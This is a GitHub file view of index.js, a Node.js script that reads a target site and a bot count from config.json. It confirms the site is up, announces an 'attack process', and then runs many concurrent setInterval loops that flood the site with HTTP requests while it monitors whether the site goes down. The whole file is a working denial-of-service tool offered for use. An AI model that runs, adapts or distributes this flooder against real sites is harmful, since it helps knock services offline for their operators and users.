-
Notifications
You must be signed in to change notification settings - Fork 6
Expand file tree
/
Copy pathindex.js
More file actions
53 lines (44 loc) · 1.42 KB
/
index.js
File metadata and controls
53 lines (44 loc) · 1.42 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import fs from 'fs-extra';
import http from 'http';
import https from 'https';
import utils from './src/utils.js';
const cwd = process.cwd();
(async () => {
const config = fs.readJSONSync(`${cwd}/config.json`);
const { pingInterval, checkInterval, siteConfig, numBots } = config;
const { site, userAgent } = siteConfig;
console.log('[+]: Fetching site..');
await utils.sleep(1500);
const protocol = site.startsWith('https') ? https : http;
try {
protocol.get(site, (response) => {
if (response.statusCode !== 200) {
utils.sleep(200).then(() => console.log('[-]: Site is down.'));
return;
}
utils.sleep(200).then(() => {
console.log('[+]: Site up!, starting attack process.');
const ping = () => {
protocol.get(site, {
headers: {
'User-Agent': userAgent,
},
}, (res) => {
console.log('[+]: Ping successful');
}).on('error', (error) => {
console.error('[-]: Error in ping:', error);
});
};
for (let i = 0; i < numBots; i++) {
setInterval(ping, pingInterval);
}
setInterval(utils.checkSite, checkInterval);
});
}).on('error', (error) => {
utils.sleep(200).then(() => console.log('[-]: Site is down.'));
});
} catch (error) {
await utils.sleep(1500);
console.log(`[-]: An error occurred: ${error}`);
}
})();